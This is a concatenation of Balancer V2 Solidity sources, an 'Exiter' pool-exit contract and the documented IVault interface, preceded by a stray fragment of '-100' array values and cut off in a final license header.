-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IBasePool.sol";
import "@balancer-labs/v2-pool-weighted/contracts/BaseWeightedPool.sol";
import "./PoolTokenCache.sol";
import "./interfaces/IDistributorCallback.sol";
contract Exiter is PoolTokenCache, IDistributorCallback {
constructor(IVault _vault) PoolTokenCache(_vault) {
// solhint-disable-previous-line no-empty-blocks
}
struct CallbackParams {
address[] pools;
address payable recipient;
}
/**
* @notice Exits specified pool with all bpt
* @param callbackData are the encoded function arguments:
* recipient - the recipient of the pool tokens
* pools - The pools to exit from (addresses)
*/
function distributorCallback(bytes calldata callbackData) external override {
CallbackParams memory params = abi.decode(callbackData, (CallbackParams));
for (uint256 p; p < params.pools.length; p++) {
address poolAddress = params.pools[p];
IBasePool poolContract = IBasePool(poolAddress);
bytes32 poolId = poolContract.getPoolId();
ensurePoolTokenSetSaved(poolId);
IERC20 pool = IERC20(poolAddress);
_exitPool(pool, poolId, params.recipient);
}
}
/**
* @notice Exits the pool
* Exiting to a single token would look like:
* bytes memory userData = abi.encode(
* BaseWeightedPool.ExitKind.EXACT_BPT_IN_FOR_ONE_TOKEN_OUT,
* bptBalance,
* tokenIndexOut
* );
*/
function _exitPool(
IERC20 pool,
bytes32 poolId,
address payable recipient
) internal {
IAsset[] memory assets = _getAssets(poolId);
uint256[] memory minAmountsOut = new uint256[](assets.length);
uint256 bptAmountIn = pool.balanceOf(address(this));
bytes memory userData = abi.encode(BaseWeightedPool.ExitKind.EXACT_BPT_IN_FOR_TOKENS_OUT, bptAmountIn);
bool toInternalBalance = false;
IVault.ExitPoolRequest memory request = IVault.ExitPoolRequest(
assets,
minAmountsOut,
userData,
toInternalBalance
);
vault.exitPool(poolId, address(this), recipient, request);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/ISignaturesValidator.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/ITemporarilyPausable.sol";
import "@balancer-labs/v2-solidity-utils/contracts/misc/IWETH.sol";
import "./IAsset.sol";
import "./IAuthorizer.sol";
import "./IFlashLoanRecipient.sol";
import "./IProtocolFeesCollector.sol";
pragma solidity ^0.7.0;
/**
* @dev Full external interface for the Vault core contract - no external or public methods exist in the contract that
* don't override one of these declarations.
*/
interface IVault is ISignaturesValidator, ITemporarilyPausable {
// Generalities about the Vault:
//
// - Whenever documentation refers to 'tokens', it strictly refers to ERC20-compliant token contracts. Tokens are
// transferred out of the Vault by calling the `IERC20.transfer` function, and transferred in by calling
// `IERC20.transferFrom`. In these cases, the sender must have previously allowed the Vault to use their tokens by
// calling `IERC20.approve`. The only deviation from the ERC20 standard that is supported is functions not returning
// a boolean value: in these scenarios, a non-reverting call is assumed to be successful.
//
// - All non-view functions in the Vault are non-reentrant: calling them while another one is mid-execution (e.g.
// while execution control is transferred to a token contract during a swap) will result in a revert. View
// functions can be called in a re-reentrant way, but doing so might cause them to return inconsistent results.
// Contracts calling view functions in the Vault must make sure the Vault has not already been entered.
//
// - View functions revert if referring to either unregistered Pools, or unregistered tokens for registered Pools.
// Authorizer
//
// Some system actions are permissioned, like setting and collecting protocol fees. This permissioning system exists
// outside of the Vault in the Authorizer contract: the Vault simply calls the Authorizer to check if the caller
// can perform a given action.
/**
* @dev Returns the Vault's Authorizer.
*/
function getAuthorizer() external view returns (IAuthorizer);
/**
* @dev Sets a new Authorizer for the Vault. The caller must be allowed by the current Authorizer to do this.
*
* Emits an `AuthorizerChanged` event.
*/
function setAuthorizer(IAuthorizer newAuthorizer) external;
/**
* @dev Emitted when a new authorizer is set by `setAuthorizer`.
*/
event AuthorizerChanged(IAuthorizer indexed newAuthorizer);
// Relayers
//
// Additionally, it is possible for an account to perform certain actions on behalf of another one, using their
// Vault ERC20 allowance and Internal Balance. These accounts are said to be 'relayers' for these Vault functions,
// and are expected to be smart contracts with sound authentication mechanisms. For an account to be able to wield
// this power, two things must occur:
// - The Authorizer must grant the account the permission to be a relayer for the relevant Vault function. This
// means that Balancer governance must approve each individual contract to act as a relayer for the intended
// functions.
// - Each user must approve the relayer to act on their behalf.
// This double protection means users cannot be tricked into approving malicious relayers (because they will not
// have been allowed by the Authorizer via governance), nor can malicious relayers approved by a compromised
// Authorizer or governance drain user funds, since they would also need to be approved by each individual user.
/**
* @dev Returns true if `user` has approved `relayer` to act as a relayer for them.
*/
function hasApprovedRelayer(address user, address relayer) external view returns (bool);
/**
* @dev Allows `relayer` to act as a relayer for `sender` if `approved` is true, and disallows it otherwise.
*
* Emits a `RelayerApprovalChanged` event.
*/
function setRelayerApproval(
address sender,
address relayer,
bool approved
) external;
/**
* @dev Emitted every time a relayer is approved or disapproved by `setRelayerApproval`.
*/
event RelayerApprovalChanged(address indexed relayer, address indexed sender, bool approved);
// Internal Balance
//
// Users can deposit tokens into the Vault, where they are allocated to their Internal Balance, and later
// transferred or withdrawn. It can also be used as a source of tokens when joining Pools, as a destination
// when exiting them, and as either when performing swaps. This usage of Internal Balance results in greatly reduced
// gas costs when compared to relying on plain ERC20 transfers, leading to large savings for frequent users.
//
// Internal Balance management features batching, which means a single contract call can be used to perform multiple
// operations of different kinds, with different senders and recipients, at once.
/**
* @dev Returns `user`'s Internal Balance for a set of tokens.
*/
function getInternalBalance(address user, IERC20[] memory tokens) external view returns (uint256[] memory);
/**
* @dev Performs a set of user balance operations, which involve Internal Balance (deposit, withdraw or transfer)
* and plain ERC20 transfers using the Vault's allowance. This last feature is particularly useful for relayers, as
* it lets integrators reuse a user's Vault allowance.
*
* For each operation, if the caller is not `sender`, it must be an authorized relayer for them.
*/
function manageUserBalance(UserBalanceOp[] memory ops) external payable;
/**
* @dev Data for `manageUserBalance` operations, which include the possibility for ETH to be sent and received
without manual WETH wrapping or unwrapping.
*/
struct UserBalanceOp {
UserBalanceOpKind kind;
IAsset asset;
uint256 amount;
address sender;
address payable recipient;
}
// There are four possible operations in `manageUserBalance`:
//
// - DEPOSIT_INTERNAL
// Increases the Internal Balance of the `recipient` account by transferring tokens from the corresponding
// `sender`. The sender must have allowed the Vault to use their tokens via `IERC20.approve()`.
//
// ETH can be used by passing the ETH sentinel value as the asset and forwarding ETH in the call: it will be wrapped
// and deposited as WETH. Any ETH amount remaining will be sent back to the caller (not the sender, which is
// relevant for relayers).
//
// Emits an `InternalBalanceChanged` event.
//
//
// - WITHDRAW_INTERNAL
// Decreases the Internal Balance of the `sender` account by transferring tokens to the `recipient`.
//
// ETH can be used by passing the ETH sentinel value as the asset. This will deduct WETH instead, unwrap it and send
// it to the recipient as ETH.
//
// Emits an `InternalBalanceChanged` event.
//
//
// - TRANSFER_INTERNAL
// Transfers tokens from the Internal Balance of the `sender` account to the Internal Balance of `recipient`.
//
// Reverts if the ETH sentinel value is passed.
//
// Emits an `InternalBalanceChanged` event.
//
//
// - TRANSFER_EXTERNAL
// Transfers tokens from `sender` to `recipient`, using the Vault's ERC20 allowance. This is typically used by
// relayers, as it lets them reuse a user's Vault allowance.
//
// Reverts if the ETH sentinel value is passed.
//
// Emits an `ExternalBalanceTransfer` event.
enum UserBalanceOpKind { DEPOSIT_INTERNAL, WITHDRAW_INTERNAL, TRANSFER_INTERNAL, TRANSFER_EXTERNAL }
/**
* @dev Emitted when a user's Internal Balance changes, either from calls to `manageUserBalance`, or through
* interacting with Pools using Internal Balance.
*
* Because Internal Balance works exclusively with ERC20 tokens, ETH deposits and withdrawals will use the WETH
* address.
*/
event InternalBalanceChanged(address indexed user, IERC20 indexed token, int256 delta);
/**
* @dev Emitted when a user's Vault ERC20 allowance is used by the Vault to transfer tokens to an external account.
*/
event ExternalBalanceTransfer(IERC20 indexed token, address indexed sender, address recipient, uint256 amount);
// Pools
//
// There are three specialization settings for Pools, which allow for cheaper swaps at the cost of reduced
// functionality:
//
// - General: no specialization, suited for all Pools. IGeneralPool is used for swap request callbacks, passing the
// balance of all tokens in the Pool. These Pools have the largest swap costs (because of the extra storage reads),
// which increase with the number of registered tokens.
//
// - Minimal Swap Info: IMinimalSwapInfoPool is used instead of IGeneralPool, which saves gas by only passing the
// balance of the two tokens involved in the swap. This is suitable for some pricing algorithms, like the weighted
// constant product one popularized by Balancer V1. Swap costs are smaller compared to general Pools, and are
// independent of the number of registered tokens.
//
// - Two Token: only allows two tokens to be registered. This achieves the lowest possible swap gas cost. Like
// minimal swap info Pools, these are called via IMinimalSwapInfoPool.
enum PoolSpecialization { GENERAL, MINIMAL_SWAP_INFO, TWO_TOKEN }
/**
* @dev Registers the caller account as a Pool with a given specialization setting. Returns the Pool's ID, which
* is used in all Pool-related functions. Pools cannot be deregistered, nor can the Pool's specialization be
* changed.
*
* The caller is expected to be a smart contract that implements either `IGeneralPool` or `IMinimalSwapInfoPool`,
* depending on the chosen specialization setting. This contract is known as the Pool's contract.
*
* Note that the same contract may register itself as multiple Pools with unique Pool IDs, or in other words,
* multiple Pools may share the same contract.
*
* Emits a `PoolRegistered` event.
*/
function registerPool(PoolSpecialization specialization) external returns (bytes32);
/**
* @dev Emitted when a Pool is registered by calling `registerPool`.
*/
event PoolRegistered(bytes32 indexed poolId, address indexed poolAddress, PoolSpecialization specialization);
/**
* @dev Returns a Pool's contract address and specialization setting.
*/
function getPool(bytes32 poolId) external view returns (address, PoolSpecialization);
/**
* @dev Registers `tokens` for the `poolId` Pool. Must be called by the Pool's contract.
*
* Pools can only interact with tokens they have registered. Users join a Pool by transferring registered tokens,
* exit by receiving registered tokens, and can only swap registered tokens.
*
* Each token can only be registered once. For Pools with the Two Token specialization, `tokens` must have a length
* of two, that is, both tokens must be registered in the same `registerTokens` call, and they must be sorted in
* ascending order.
*
* The `tokens` and `assetManagers` arrays must have the same length, and each entry in these indicates the Asset
* Manager for the corresponding token. Asset Managers can manage a Pool's tokens via `managePoolBalance`,
* depositing and withdrawing them directly, and can even set their balance to arbitrary amounts. They are therefore
* expected to be highly secured smart contracts with sound design principles, and the decision to register an
* Asset Manager should not be made lightly.
*
* Pools can choose not to assign an Asset Manager to a given token by passing in the zero address. Once an Asset
* Manager is set, it cannot be changed except by deregistering the associated token and registering again with a
* different Asset Manager.
*
* Emits a `TokensRegistered` event.
*/
function registerTokens(
bytes32 poolId,
IERC20[] memory tokens,
address[] memory assetManagers
) external;
/**
* @dev Emitted when a Pool registers tokens by calling `registerTokens`.
*/
event TokensRegistered(bytes32 indexed poolId, IERC20[] tokens, address[] assetManagers);
/**
* @dev Deregisters `tokens` for the `poolId` Pool. Must be called by the Pool's contract.
*
* Only registered tokens (via `registerTokens`) can be deregistered. Additionally, they must have zero total
* balance. For Pools with the Two Token specialization, `tokens` must have a length of two, that is, both tokens
* must be deregistered in the same `deregisterTokens` call.
*
* A deregistered token can be re-registered later on, possibly with a different Asset Manager.
*
* Emits a `TokensDeregistered` event.
*/
function deregisterTokens(bytes32 poolId, IERC20[] memory tokens) external;
/**
* @dev Emitted when a Pool deregisters tokens by calling `deregisterTokens`.
*/
event TokensDeregistered(bytes32 indexed poolId, IERC20[] tokens);
/**
* @dev Returns detailed information for a Pool's registered token.
*
* `cash` is the number of tokens the Vault currently holds for the Pool. `managed` is the number of tokens
* withdrawn and held outside the Vault by the Pool's token Asset Manager. The Pool's total balance for `token`
* equals the sum of `cash` and `managed`.
*
* Internally, `cash` and `managed` are stored using 112 bits. No action can ever cause a Pool's token `cash`,
* `managed` or `total` balance to be greater than 2^112 - 1.
*
* `lastChangeBlock` is the number of the block in which `token`'s total balance was last modified (via either a
* join, exit, swap, or Asset Manager update). This value is useful to avoid so-called 'sandwich attacks', for
* example when developing price oracles. A change of zero (e.g. caused by a swap with amount zero) is considered a
* change for this purpose, and will update `lastChangeBlock`.
*
* `assetManager` is the Pool's token Asset Manager.
*/
function getPoolTokenInfo(bytes32 poolId, IERC20 token)
external
view
returns (
uint256 cash,
uint256 managed,
uint256 lastChangeBlock,
address assetManager
);
/**
* @dev Returns a Pool's registered tokens, the total balance for each, and the latest block when *any* of
* the tokens' `balances` changed.
*
* The order of the `tokens` array is the same order that will be used in `joinPool`, `exitPool`, as well as in all
* Pool hooks (where applicable). Calls to `registerTokens` and `deregisterTokens` may change this order.
*
* If a Pool only registers tokens once, and these are sorted in ascending order, they will be stored in the same
* order as passed to `registerTokens`.
*
* Total balances include both tokens held by the Vault and those withdrawn by the Pool's Asset Managers. These are
* the amounts used by joins, exits and swaps. For a detailed breakdown of token balances, use `getPoolTokenInfo`
* instead.
*/
function getPoolTokens(bytes32 poolId)
external
view
returns (
IERC20[] memory tokens,
uint256[] memory balances,
uint256 lastChangeBlock
);
/**
* @dev Called by users to join a Pool, which transfers tokens from `sender` into the Pool's balance. This will
* trigger custom Pool behavior, which will typically grant something in return to `recipient` - often tokenized
* Pool shares.
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* The `assets` and `maxAmountsIn` arrays must have the same length, and each entry indicates the maximum amount
* to send for each asset. The amounts to send are decided by the Pool and not the Vault: it just enforces
* these maximums.
*
* If joining a Pool that holds WETH, it is possible to send ETH directly: the Vault will do the wrapping. To enable
* this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead of the
* WETH address. Note that it is not possible to combine ETH and WETH in the same join. Any excess ETH will be sent
* back to the caller (not the sender, which is important for relayers).
*
* `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when
* interacting with Pools that register and deregister tokens frequently. If sending ETH however, the array must be
* sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the final
* `assets` array might not be sorted. Pools with no registered tokens cannot be joined.
*
* If `fromInternalBalance` is true, the caller's Internal Balance will be preferred: ERC20 transfers will only
* be made for the difference between the requested amount and Internal Balance (if any). Note that ETH cannot be
* withdrawn from Internal Balance: attempting to do so will trigger a revert.
*
* This causes the Vault to call the `IBasePool.onJoinPool` hook on the Pool's contract, where Pools implement
* their own custom logic. This typically requires additional information from the user (such as the expected number
* of Pool shares). This can be encoded in the `userData` argument, which is ignored by the Vault and passed
* directly to the Pool's contract, as is `recipient`.
*
* Emits a `PoolBalanceChanged` event.
*/
function joinPool(
bytes32 poolId,
address sender,
address recipient,
JoinPoolRequest memory request
) external payable;
struct JoinPoolRequest {
IAsset[] assets;
uint256[] maxAmountsIn;
bytes userData;
bool fromInternalBalance;
}
/**
* @dev Called by users to exit a Pool, which transfers tokens from the Pool's balance to `recipient`. This will
* trigger custom Pool behavior, which will typically ask for something in return from `sender` - often tokenized
* Pool shares. The amount of tokens that can be withdrawn is limited by the Pool's `cash` balance (see
* `getPoolTokenInfo`).
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* The `tokens` and `minAmountsOut` arrays must have the same length, and each entry in these indicates the minimum
* token amount to receive for each token contract. The amounts to send are decided by the Pool and not the Vault:
* it just enforces these minimums.
*
* If exiting a Pool that holds WETH, it is possible to receive ETH directly: the Vault will do the unwrapping. To
* enable this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead
* of the WETH address. Note that it is not possible to combine ETH and WETH in the same exit.
*
* `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when
* interacting with Pools that register and deregister tokens frequently. If receiving ETH however, the array must
* be sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the
* final `assets` array might not be sorted. Pools with no registered tokens cannot be exited.
*
* If `toInternalBalance` is true, the tokens will be deposited to `recipient`'s Internal Balance. Otherwise,
* an ERC20 transfer will be performed. Note that ETH cannot be deposited to Internal Balance: attempting to
* do so will trigger a revert.
*
* `minAmountsOut` is the minimum amount of tokens the user expects to get out of the Pool, for each token in the
* `tokens` array. This array must match the Pool's registered tokens.
*
* This causes the Vault to call the `IBasePool.onExitPool` hook on the Pool's contract, where Pools implement
* their own custom logic. This typically requires additional information from the user (such as the expected number
* of Pool shares to return). This can be encoded in the `userData` argument, which is ignored by the Vault and
* passed directly to the Pool's contract.
*
* Emits a `PoolBalanceChanged` event.
*/
function exitPool(
bytes32 poolId,
address sender,
address payable recipient,
ExitPoolRequest memory request
) external;
struct ExitPoolRequest {
IAsset[] assets;
uint256[] minAmountsOut;
bytes userData;
bool toInternalBalance;
}
/**
* @dev Emitted when a user joins or exits a Pool by calling `joinPool` or `exitPool`, respectively.
*/
event PoolBalanceChanged(
bytes32 indexed poolId,
address indexed liquidityProvider,
IERC20[] tokens,
int256[] deltas,
uint256[] protocolFeeAmounts
);
enum PoolBalanceChangeKind { JOIN, EXIT }
// Swaps
//
// Users can swap tokens with Pools by calling the `swap` and `batchSwap` functions. To do this,
// they need not trust Pool contracts in any way: all security checks are made by the Vault. They must however be
// aware of the Pools' pricing algorithms in order to estimate the prices Pools will quote.
//
// The `swap` function executes a single swap, while `batchSwap` can perform multiple swaps in sequence.
// In each individual swap, tokens of one kind are sent from the sender to the Pool (this is the 'token in'),
// and tokens of another kind are sent from the Pool to the recipient in exchange (this is the 'token out').
// More complex swaps, such as one token in to multiple tokens out can be achieved by batching together
// individual swaps.
//
// There are two swap kinds:
// - 'given in' swaps, where the amount of tokens in (sent to the Pool) is known, and the Pool determines (via the
// `onSwap` hook) the amount of tokens out (to send to the recipient).
// - 'given out' swaps, where the amount of tokens out (received from the Pool) is known, and the Pool determines
// (via the `onSwap` hook) the amount of tokens in (to receive from the sender).
//
// Additionally, it is possible to chain swaps using a placeholder input amount, which the Vault replaces with
// the calculated output of the previous swap. If the previous swap was 'given in', this will be the calculated
// tokenOut amount. If the previous swap was 'given out', it will use the calculated tokenIn amount. These extended
// swaps are known as 'multihop' swaps, since they 'hop' through a number of intermediate tokens before arriving at
// the final intended token.
//
// In all cases, tokens are only transferred in and out of the Vault (or withdrawn from and deposited into Internal
// Balance) after all individual swaps have been completed, and the net token balance change computed. This makes
// certain swap patterns, such as multihops, or swaps that interact with the same token pair in multiple Pools, cost
// much less gas than they would otherwise.
//
// It also means that under certain conditions it is possible to perform arbitrage by swapping with multiple
// Pools in a way that results in net token movement out of the Vault (profit), with no tokens being sent in (only
// updating the Pool's internal accounting).
//
// To protect users from front-running or the market changing rapidly, they supply a list of 'limits' for each token
// involved in the swap, where either the maximum number of tokens to send (by passing a positive value) or the
// minimum amount of tokens to receive (by passing a negative value) is specified.
//
// Additionally, a 'deadline' timestamp can also be provided, forcing the swap to fail if it occurs after
// this point in time (e.g. if the transaction failed to be included in a block promptly).
//
// If interacting with Pools that hold WETH, it is possible to both send and receive ETH directly: the Vault will do
// the wrapping and unwrapping. To enable this mechanism, the IAsset sentinel value (the zero address) must be
// passed in the `assets` array instead of the WETH address. Note that it is possible to combine ETH and WETH in the
// same swap. Any excess ETH will be sent back to the caller (not the sender, which is relevant for relayers).
//
// Finally, Internal Balance can be used when either sending or receiving tokens.
enum SwapKind { GIVEN_IN, GIVEN_OUT }
/**
* @dev Performs a swap with a single Pool.
*
* If the swap is 'given in' (the number of tokens to send to the Pool is known), it returns the amount of tokens
* taken from the Pool, which must be greater than or equal to `limit`.
*
* If the swap is 'given out' (the number of tokens to take from the Pool is known), it returns the amount of tokens
* sent to the Pool, which must be less than or equal to `limit`.
*
* Internal Balance usage and the recipient are determined by the `funds` struct.
*
* Emits a `Swap` event.
*/
function swap(
SingleSwap memory singleSwap,
FundManagement memory funds,
uint256 limit,
uint256 deadline
) external payable returns (uint256);
/**
* @dev Data for a single swap executed by `swap`. `amount` is either `amountIn` or `amountOut` depending on
* the `kind` value.
*
* `assetIn` and `assetOut` are either token addresses, or the IAsset sentinel value for ETH (the zero address).
* Note that Pools never interact with ETH directly: it will be wrapped to or unwrapped from WETH by the Vault.
*
* The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be
* used to extend swap behavior.
*/
struct SingleSwap {
bytes32 poolId;
SwapKind kind;
IAsset assetIn;
IAsset assetOut;
uint256 amount;
bytes userData;
}
/**
* @dev Performs a series of swaps with one or multiple Pools. In each individual swap, the caller determines either
* the amount of tokens sent to or received from the Pool, depending on the `kind` value.
*
* Returns an array with the net Vault asset balance deltas. Positive amounts represent tokens (or ETH) sent to the
* Vault, and negative amounts represent tokens (or ETH) sent by the Vault. Each delta corresponds to the asset at
* the same index in the `assets` array.
*
* Swaps are executed sequentially, in the order specified by the `swaps` array. Each array element describes a
* Pool, the token to be sent to this Pool, the token to receive from it, and an amount that is either `amountIn` or
* `amountOut` depending on the swap kind.
*
* Multihop swaps can be executed by passing an `amount` value of zero for a swap. This will cause the amount in/out
* of the previous swap to be used as the amount in for the current one. In a 'given in' swap, 'tokenIn' must equal
* the previous swap's `tokenOut`. For a 'given out' swap, `tokenOut` must equal the previous swap's `tokenIn`.
*
* The `assets` array contains the addresses of all assets involved in the swaps. These are either token addresses,
* or the IAsset sentinel value for ETH (the zero address). Each entry in the `swaps` array specifies tokens in and
* out by referencing an index in `assets`. Note that Pools never interact with ETH directly: it will be wrapped to
* or unwrapped from WETH by the Vault.
*
* Internal Balance usage, sender, and recipient are determined by the `funds` struct. The `limits` array specifies
* the minimum or maximum amount of each token the vault is allowed to transfer.
*
* `batchSwap` can be used to make a single swap, like `swap` does, but doing so requires more gas than the
* equivalent `swap` call.
*
* Emits `Swap` events.
*/
function batchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds,
int256[] memory limits,
uint256 deadline
) external payable returns (int256[] memory);
/**
* @dev Data for each individual swap executed by `batchSwap`. The asset in and out fields are indexes into the
* `assets` array passed to that function, and ETH assets are converted to WETH.
*
* If `amount` is zero, the multihop mechanism is used to determine the actual amount based on the amount in/out
* from the previous swap, depending on the swap kind.
*
* The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be
* used to extend swap behavior.
*/
struct BatchSwapStep {
bytes32 poolId;
uint256 assetInIndex;
uint256 assetOutIndex;
uint256 amount;
bytes userData;
}
/**
* @dev Emitted for each individual swap performed by `swap` or `batchSwap`.
*/
event Swap(
bytes32 indexed poolId,
IERC20 indexed tokenIn,
IERC20 indexed tokenOut,
uint256 amountIn,
uint256 amountOut
);
/**
* @dev All tokens in a swap are either sent from the `sender` account to the Vault, or from the Vault to the
* `recipient` account.
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* If `fromInternalBalance` is true, the `sender`'s Internal Balance will be preferred, performing an ERC20
* transfer for the difference between the requested amount and the User's Internal Balance (if any). The `sender`
* must have allowed the Vault to use their tokens via `IERC20.approve()`. This matches the behavior of
* `joinPool`.
*
* If `toInternalBalance` is true, tokens will be deposited to `recipient`'s internal balance instead of
* transferred. This matches the behavior of `exitPool`.
*
* Note that ETH cannot be deposited to or withdrawn from Internal Balance: attempting to do so will trigger a
* revert.
*/
struct FundManagement {
address sender;
bool fromInternalBalance;
address payable recipient;
bool toInternalBalance;
}
/**
* @dev Simulates a call to `batchSwap`, returning an array of Vault asset deltas. Calls to `swap` cannot be
* simulated directly, but an equivalent `batchSwap` call can and will yield the exact same result.
*
* Each element in the array corresponds to the asset at the same index, and indicates the number of tokens (or ETH)
* the Vault would take from the sender (if positive) or send to the recipient (if negative). The arguments it
* receives are the same that an equivalent `batchSwap` call would receive.
*
* Unlike `batchSwap`, this function performs no checks on the sender or recipient field in the `funds` struct.
* This makes it suitable to be called by off-chain applications via eth_call without needing to hold tokens,
* approve them for the Vault, or even know a user's address.
*
* Note that this function is not 'view' (due to implementation details): the client code must explicitly execute
* eth_call instead of eth_sendTransaction.
*/
function queryBatchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds
) external returns (int256[] memory assetDeltas);
// Flash Loans
/**
* @dev Performs a 'flash loan', sending tokens to `recipient`, executing the `receiveFlashLoan` hook on it,
* and then reverting unless the tokens plus a proportional protocol fee have been returned.
*
* The `tokens` and `amounts` arrays must have the same length, and each entry in these indicates the loan amount
* for each token contract. `tokens` must be sorted in ascending order.
*
* The 'userData' field is ignored by the Vault, and forwarded as-is to `recipient` as part of the
* `receiveFlashLoan` call.
*
* Emits `FlashLoan` events.
*/
function flashLoan(
IFlashLoanRecipient recipient,
IERC20[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
/**
* @dev Emitted for each individual flash loan performed by `flashLoan`.
*/
event FlashLoan(IFlashLoanRecipient indexed recipient, IERC20 indexed token, uint256 amount, uint256 feeAmount);
// Asset Management
//
// Each token registered for a Pool can be assigned an Asset Manager, which is able to freely withdraw the Pool's
// tokens from the Vault, deposit them, or assign arbitrary values to its `managed` balance (see
// `getPoolTokenInfo`). This makes them extremely powerful and dangerous. Even if an Asset Manager only directly
// controls one of the tokens in a Pool, a malicious manager could set that token's balance to manipulate the
// prices of the other tokens, and then drain the Pool with swaps. The risk of using Asset Managers is therefore
// not constrained to the tokens they are managing, but extends to the entire Pool's holdings.
//
// However, a properly designed Asset Manager smart contract can be safely used for the Pool's benefit,
// for example by lending unused tokens out for interest, or using them to participate in voting protocols.
//
// This concept is unrelated to the IAsset interface.
/**
* @dev Performs a set of Pool balance operations, which may be either withdrawals, deposits or updates.
*
* Pool Balance management features batching, which means a single contract call can be used to perform multiple
* operations of different kinds, with different Pools and tokens, at once.
*
* For each operation, the caller must be registered as the Asset Manager for `token` in `poolId`.
*/
function managePoolBalance(PoolBalanceOp[] memory ops) external;
struct PoolBalanceOp {
PoolBalanceOpKind kind;
bytes32 poolId;
IERC20 token;
uint256 amount;
}
/**
* Withdrawals decrease the Pool's cash, but increase its managed balance, leaving the total balance unchanged.
*
* Deposits increase the Pool's cash, but decrease its managed balance, leaving the total balance unchanged.
*
* Updates don't affect the Pool's cash balance, but because the managed balance changes, it does alter the total.
* The external amount can be either increased or decreased by this call (i.e., reporting a gain or a loss).
*/
enum PoolBalanceOpKind { WITHDRAW, DEPOSIT, UPDATE }
/**
* @dev Emitted when a Pool's token Asset Manager alters its balance via `managePoolBalance`.
*/
event PoolBalanceManaged(
bytes32 indexed poolId,
address indexed assetManager,
IERC20 indexed token,
int256 cashDelta,
int256 managedDelta
);
// Protocol Fees
//
// Some operations cause the Vault to collect tokens in the form of protocol fees, which can then be withdrawn by
// permissioned accounts.
//
// There are two kinds of protocol fees:
//
// - flash loan fees: charged on all flash loans, as a percentage of the amounts lent.
//
// - swap fees: a percentage of the fees charged by Pools when performing swaps. For a number of reasons, including
// swap gas costs and interface simplicity, protocol swap fees are not charged on each individual swap. Rather,
// Pools are expected to keep track of how much they have charged in swap fees, and pay any outstanding debts to the
// Vault when they are joined or exited. This prevents users from joining a Pool with unpaid debt, as well as
// exiting a Pool in debt without first paying their share.
/**
* @dev Returns the current protocol fee module.
*/
function getProtocolFeesCollector() external view returns (IProtocolFeesCollector);
/**
* @dev Safety mechanism to pause most Vault operations in the event of an emergency - typically detection of an
* error in some part of the system.
*
* The Vault can only be paused during an initial time period, after which pausing is forever disabled.
*
* While the contract is paused, the following features are disabled:
* - depositing and transferring internal balance
* - transferring external balance (using the Vault's allowance)
* - swaps
* - joining Pools
* - Asset Manager interactions
*
* Internal Balance can still be withdrawn, and Pools exited.
*/
function setPaused(bool paused) external;
/**
* @dev Returns the Vault's WETH instance.
*/
function WETH() external view returns (IWETH);
// solhint-disable-previous-line func-name-mixedcase
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
